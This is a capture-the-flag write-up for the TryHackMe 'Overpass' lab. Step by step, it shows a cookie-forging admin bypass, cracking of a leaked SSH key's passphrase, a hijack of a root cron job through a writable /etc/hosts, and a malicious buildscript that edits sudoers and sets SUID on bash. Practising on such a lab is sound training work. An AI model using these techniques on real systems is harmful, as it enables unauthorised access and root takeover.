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OverPass

Date: 20, May, 2021

Author: Dhilip Sanjay S

Click Here to go to the TryHackMe room.

Enumeration

Nmap

$ nmap -sC -sV -p- 10.10.123.199 -oN nmap-full
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-19 23:53 IST
Stats: 0:06:24 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 60.23% done; ETC: 00:04 (0:04:13 remaining)
Nmap scan report for 10.10.123.199
Host is up (0.15s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 652.91 seconds

Gobuster

$ gobuster dir -u http://10.10.123.199 -t 50 -w /usr/share/wordlists/dirb/common.txt -x php,sh,txt,xml,log,js,cgi,py | tee gobuster
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.123.199
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              log,js,cgi,py,php,sh,txt,xml
[+] Timeout:                 10s
===============================================================
2021/05/19 23:55:49 Starting gobuster in directory enumeration mode
===============================================================
/aboutus              (Status: 301) [Size: 0] [--> aboutus/]
/admin                (Status: 301) [Size: 42] [--> /admin/]
/cookie.js            (Status: 200) [Size: 1502]            
/css                  (Status: 301) [Size: 0] [--> css/]    
/downloads            (Status: 301) [Size: 0] [--> downloads/]
/img                  (Status: 301) [Size: 0] [--> img/]      
/index.html           (Status: 301) [Size: 0] [--> ./]        
/login.js             (Status: 200) [Size: 1779]              
/main.js              (Status: 200) [Size: 28]                
                                                              
===============================================================
2021/05/19 23:57:57 Finished
===============================================================

Admin login

  • By analysing the javascript files login.js and cookie.js, we find that a cookie named SessionToken being set on a successful login.

  • If the cookie value is not being verified in the backend, then we'll be able to access the admin panel.

  • So we can manually set the SessionToken cookie in the browser or just use curl:

$ curl http://10.10.123.199/admin/ --cookie "SessionToken=something"
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Overpass</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="/css/main.css">
    <link rel="icon" 
      type="image/png" 
      href="/img/overpass.png" />
    <script src="/main.js"></script>
</head>

<body>
    <nav>
        <img class="logo" src="/img/overpass.svg" alt="Overpass logo">
        <h2 class="navTitle"><a href="/">Overpass</a></h2>
        <a href="/aboutus">About Us</a>
        <a href="/downloads">Downloads</a>
    </nav>
    <h1 class="pageHeading content">Welcome to the Overpass Administrator area</h1>
    <h3 class="subtitle content">A secure password manager with support for Windows, Linux, MacOS and more</h3>
    <div class="bodyFlexContainer content">
        <div>
            <p>Since you keep forgetting your password, James, I've set up SSH keys for you.</p>
            <p>If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.<br>
                Also, we really need to talk about this "Military Grade" encryption. - Paradox</p>
            <pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337

LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy
AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT
8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K
4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----</pre>
        </div>
    </div>
</body>

</html>

  • We find the Private Key of the user James.

Initial Shell

  • We'll use ssh to get intial shell:

$ ssh -i id_rsa james@10.10.123.199
The authenticity of host '10.10.123.199 (10.10.123.199)' can't be established.
ECDSA key fingerprint is SHA256:4P0PNh/u8bKjshfc6DBYwWnjk1Txh5laY/WbVPrCUdY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.123.199' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa':

  • But the ssh key is passphrase protected.

  • We'll use ssh2john, so that we can bruteforce the passpharse.

$ python3 /usr/share/john/ssh2john.py
Usage: /usr/share/john/ssh2john.py <RSA/DSA/EC/OpenSSH private key file(s)>

$ python3 /usr/share/john/ssh2john.py id_rsa > forjohn.txt
$ john forjohn.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
james13          (id_rsa)
1g 0:00:00:02  3/3 0.3412g/s 597732p/s 597732c/s 597732C/s bhawed
Session aborted

  • The passpharse is james13.

  • Now, we'll use ssh to login into the machine:

$ ssh -i id_rsa james@10.10.123.199
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed May 19 19:24:16 UTC 2021

  System load:  0.08               Processes:           88
  Usage of /:   22.3% of 18.57GB   Users logged in:     0
  Memory usage: 13%                IP address for eth0: 10.10.123.199
  Swap usage:   0%


47 packages can be updated.
0 updates are security updates.


Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ whoami
james

james@overpass-prod:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)

user.txt

  • Answer: thm{65c1aaf000506e56996822c6281e6bf7}

james@overpass-prod:~$ cat user.txt
thm{65c1aaf000506e56996822c6281e6bf7}

james@overpass-prod:~$ cat todo.txt 
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website

Privilege Escalation Attempts

Cracking James' password and checking for sudo permission

  • By understanding the overpass.go file, we find that the password will be stored in ~/.overpass file in ROT47 encoding.

  • So, we'll check this file in james directory:

james@overpass-prod:~$ ls -al
total 48
drwxr-xr-x 6 james james 4096 Jun 27  2020 .
drwxr-xr-x 4 root  root  4096 Jun 27  2020 ..
lrwxrwxrwx 1 james james    9 Jun 27  2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james  220 Jun 27  2020 .bash_logout
-rw-r--r-- 1 james james 3771 Jun 27  2020 .bashrc
drwx------ 2 james james 4096 Jun 27  2020 .cache
drwx------ 3 james james 4096 Jun 27  2020 .gnupg
drwxrwxr-x 3 james james 4096 Jun 27  2020 .local
-rw-r--r-- 1 james james   49 Jun 27  2020 .overpass
-rw-r--r-- 1 james james  807 Jun 27  2020 .profile
drwx------ 2 james james 4096 Jun 27  2020 .ssh
-rw-rw-r-- 1 james james  438 Jun 27  2020 todo.txt
-rw-rw-r-- 1 james james   38 Jun 27  2020 user.txt

james@overpass-prod:~$ cat .overpass 
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN.

  • By ROT47 decoding:

[{"name":"System","pass":"saydrawnlyingpicture"}]

  • We run the command sudo -l and using the password we obtained recently.

  • Unfortunately, james doesn't have any of the sudo permission!

james@overpass-prod:~$ sudo -l
[sudo] password for james: 
Sorry, user james may not run sudo on overpass-prod.

Checking for SUID

james@overpass-prod:~$ find / -perm -u=s -type f 2>/dev/null
/bin/fusermount
/bin/umount
/bin/su
/bin/mount
/bin/ping
/usr/bin/chfn
/usr/bin/at
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign

james@overpass-prod:~$ sudo su
[sudo] password for james: 
james is not in the sudoers file.  This incident will be reported.

  • Even though sudo and su were having SUID bit set, we couldn't abuse it.

Checking for other Users

$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
tryhackme:x:1000:1000:tryhackme:/home/tryhackme:/bin/bash
james:x:1001:1001:,,,:/home/james:/bin/bash

  • May be we can check the password file of tryhackme user.

  • But still, permission denied!!

james@overpass-prod:~$ cd ..

james@overpass-prod:/home$ ls
james  tryhackme

james@overpass-prod:/home$ cd tryhackme/
-bash: cd: tryhackme/: Permission denied

Running Linpeas.sh

  • Host a python server to get linpeas on target machine:

$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.123.199 - - [20/May/2021 01:14:02] "GET /linpeas.sh HTTP/1.1" 200 -

  • Download and run linpeas.sh in the target vulnerable machine.

  • I have included only a small part of linpeas output.

  • Cron jobs!!

james@overpass-prod:~$ wget http://10.17.7.91:8000/linpeas.sh
--2021-05-19 19:46:17--  http://10.17.7.91:8000/linpeas.sh
Connecting to 10.17.7.91:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 325865 (318K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                        100%[=============================================================>] 318.23K   285KB/s    in 1.1s    

2021-05-19 19:46:18 (285 KB/s) - ‘linpeas.sh’ saved [325865/325865]

james@overpass-prod:~$ chmod +x linpeas.sh 
james@overpass-prod:~$ ./linpeas.sh | tee linpeas.out

.
.

[+] Cron jobs
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
incrontab Not Found
-rw-r--r-- 1 root root  822 Jun 27  2020 /etc/crontab

/etc/cron.d:
total 20
drwxr-xr-x  2 root root 4096 Feb  3  2020 .
drwxr-xr-x 90 root root 4096 Jun 27  2020 ..
-rw-r--r--  1 root root  102 Nov 16  2017 .placeholder
-rw-r--r--  1 root root  589 Jan 14  2020 mdadm
-rw-r--r--  1 root root  191 Feb  3  2020 popularity-contest

/etc/cron.daily:
total 60
drwxr-xr-x  2 root root 4096 Jun 27  2020 .
drwxr-xr-x 90 root root 4096 Jun 27  2020 ..
-rw-r--r--  1 root root  102 Nov 16  2017 .placeholder
-rwxr-xr-x  1 root root  376 Nov 20  2017 apport
-rwxr-xr-x  1 root root 1478 Apr 20  2018 apt-compat
-rwxr-xr-x  1 root root  355 Dec 29  2017 bsdmainutils
-rwxr-xr-x  1 root root 1176 Nov  2  2017 dpkg
-rwxr-xr-x  1 root root  372 Aug 21  2017 logrotate
-rwxr-xr-x  1 root root 1065 Apr  7  2018 man-db
-rwxr-xr-x  1 root root  539 Jan 14  2020 mdadm
-rwxr-xr-x  1 root root  538 Mar  1  2018 mlocate
-rwxr-xr-x  1 root root  249 Jan 25  2018 passwd
-rwxr-xr-x  1 root root 3477 Feb 21  2018 popularity-contest
-rwxr-xr-x  1 root root  246 Mar 21  2018 ubuntu-advantage-tools
-rwxr-xr-x  1 root root  214 Nov 12  2018 update-notifier-common

/etc/cron.hourly:
total 12
drwxr-xr-x  2 root root 4096 Feb  3  2020 .
drwxr-xr-x 90 root root 4096 Jun 27  2020 ..
-rw-r--r--  1 root root  102 Nov 16  2017 .placeholder

/etc/cron.monthly:
total 12
drwxr-xr-x  2 root root 4096 Feb  3  2020 .
drwxr-xr-x 90 root root 4096 Jun 27  2020 ..
-rw-r--r--  1 root root  102 Nov 16  2017 .placeholder

/etc/cron.weekly:
total 20
drwxr-xr-x  2 root root 4096 Feb  3  2020 .
drwxr-xr-x 90 root root 4096 Jun 27  2020 ..
-rw-r--r--  1 root root  102 Nov 16  2017 .placeholder
-rwxr-xr-x  1 root root  723 Apr  7  2018 man-db
-rwxr-xr-x  1 root root  211 Nov 12  2018 update-notifier-common

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

[+] Services
[i] Search for outdated versions
.
.

[+] Systemd PATH
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#systemd-path-relative-paths
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
.
.
[+] Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/etc/hosts
/home/james
/run/lock
/run/screen
/run/screen/S-james
/run/user/1001
/run/user/1001/gnupg
/run/user/1001/systemd
/tmp
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.font-unix
#)You_can_write_even_more_files_inside_last_directory
/var/crash
/var/tmp
.
.

Privilege Escalation

Viewing /etc/crontab

james@overpass-prod:~$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

  • We must inject code into buildscript.sh inorder to escalate our privilege.

  • But, the file is being downloaded from overpass.thm

  • It turns out that overpass.thm is 127.0.0.1. And the server is being hosted by tryhackme user, so we can't change the script file.

james@overpass-prod:~$ ping overpass.thm
PING overpass.thm (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.018 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.034 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.034 ms

--- overpass.thm ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2052ms
rtt min/avg/max/mdev = 0.018/0.028/0.034/0.009 ms
james@overpass-prod:~$ ps -aux | grep server
tryhack+   635  0.1  1.2 1010336 12176 ?       Ssl  18:21   0:07 /home/tryhackme/server -p 80

Modifying /etc/hosts

  • If we look at the linpeas output closely, we can find that /etc/hosts file is writable.

  • So, we can change the IP address and host a different buildscript.sh with our malicious code. (Maybe we can add James to the sudoers group, we know his password!)

  • Before modifying the IP address, we must replicate the directory structure: /downloads/src/buildscript.sh and host a server:

$ mkdir downloads
$ cd downloads/ && mkdir src
~/downloads$ cd src
~/downloads/src$ echo "usermod -aG sudo james" > buildscript.sh

~/downloads/src$ cat buildscript.sh 
usermod -aG sudo james

~/downloads/src$ cd
$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

  • Modify the /etc/hosts file on the target:

james@overpass-prod:~$ nano /etc/hosts
james@overpass-prod:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
10.17.7.91 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Escalating to root (before adding james to /etc/sudoers)

  • We see that our script file is downloaded by the target machine:

$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.123.199 - - [20/May/2021 01:52:02] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -
10.10.123.199 - - [20/May/2021 01:53:03] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -

  • Now we'll run sudo -l to get permissions of james

james@overpass-prod:~$ sudo -l
[sudo] password for james: 
Sorry, user james may not run sudo on overpass-prod.

james@overpass-prod:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)

james@overpass-prod:~$ groups james
james : james sudo

james@overpass-prod:~$ sudo su
[sudo] password for james: 
james is not in the sudoers file.  This incident will be reported.

james@overpass-prod:~$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied

  • Ever though james was added to sudo group, the /etc/sudoers file didn't contain james.

  • So, we need to add that to our script file.

  • I also changed the permission of /bin/bash to 4777. (As a backup, incase if modifying sudoers file didn't work)

Modified buildscript.sh

$ nano downloads/src/buildscript.sh 

$ cat downloads/src/buildscript.sh 
usermod -aG sudo james
echo "james ALL=(ALL:ALL) ALL" >> /etc/sudoers
chmod 4777 /bin/bash

root.txt

  • Answer: thm{7f336f8c359dbac18d54fdd64ea753bb}

  • Finally both worked!!

  • Using sudo bash and james' password:

james@overpass-prod:~$ whoami
james
james@overpass-prod:~$ sudo bash

root@overpass-prod:~# ls
downloads  linpeas.out  linpeas.sh  todo.txt  user.txt
root@overpass-prod:~# cd /root
root@overpass-prod:/root# ls
buildStatus  builds  go  root.txt  src
root@overpass-prod:/root# cat root.txt 
thm{7f336f8c359dbac18d54fdd64ea753bb}

  • Using /bin/bash -p:

root@overpass-prod:~# exit
exit
james@overpass-prod:~$ /bin/bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
thm{7f336f8c359dbac18d54fdd64ea753bb}
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